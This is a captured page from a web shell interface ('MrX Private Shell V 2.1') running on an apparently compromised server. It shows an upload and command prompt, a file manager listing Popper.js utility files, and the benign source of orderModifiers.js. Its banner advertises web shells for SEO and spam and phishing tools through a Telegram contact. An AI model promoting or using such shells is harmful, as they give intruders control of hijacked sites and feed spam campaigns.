__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import { modifierPhases } from "../enums.js"; // source: https://stackoverflow.com/questions/49875255
function order(modifiers) {
  var map = new Map();
  var visited = new Set();
  var result = [];
  modifiers.forEach(function (modifier) {
    map.set(modifier.name, modifier);
  });

  // On visiting object, check for its dependencies and visit them recursively
  function sort(modifier) {
    visited.add(modifier.name);
    var requires = [].concat(modifier.requires || [], modifier.requiresIfExists || []);
    requires.forEach(function (dep) {
      if (!visited.has(dep)) {
        var depModifier = map.get(dep);
        if (depModifier) {
          sort(depModifier);
        }
      }
    });
    result.push(modifier);
  }
  modifiers.forEach(function (modifier) {
    if (!visited.has(modifier.name)) {
      // check for visited object
      sort(modifier);
    }
  });
  return result;
}
export default function orderModifiers(modifiers) {
  // order based on dependencies
  var orderedModifiers = order(modifiers);

  // order based on phase
  return modifierPhases.reduce(function (acc, phase) {
    return acc.concat(orderedModifiers.filter(function (modifier) {
      return modifier.phase === phase;
    }));
  }, []);
}

Filemanager

Name Type Size Permission Actions
computeAutoPlacement.js File 1.93 KB 0644
computeOffsets.js File 1.68 KB 0644
debounce.js File 301 B 0644
detectOverflow.js File 3.29 KB 0644
expandToHashMap.js File 159 B 0644
format.js File 285 B 0644
getAltAxis.js File 79 B 0644
getAltLen.js File 89 B 0644
getBasePlacement.js File 125 B 0644
getFreshSideObject.js File 117 B 0644
getMainAxisFromPlacement.js File 127 B 0644
getOppositePlacement.js File 248 B 0644
getOppositeVariationPlacement.js File 209 B 0644
getVariation.js File 85 B 0644
math.js File 84 B 0644
mergeByName.js File 526 B 0644
mergePaddingObject.js File 184 B 0644
orderModifiers.js File 1.21 KB 0644
rectToClientRect.js File 191 B 0644
uniqueBy.js File 251 B 0644
validateModifiers.js File 3.17 KB 0644
within.js File 262 B 0644
Filemanager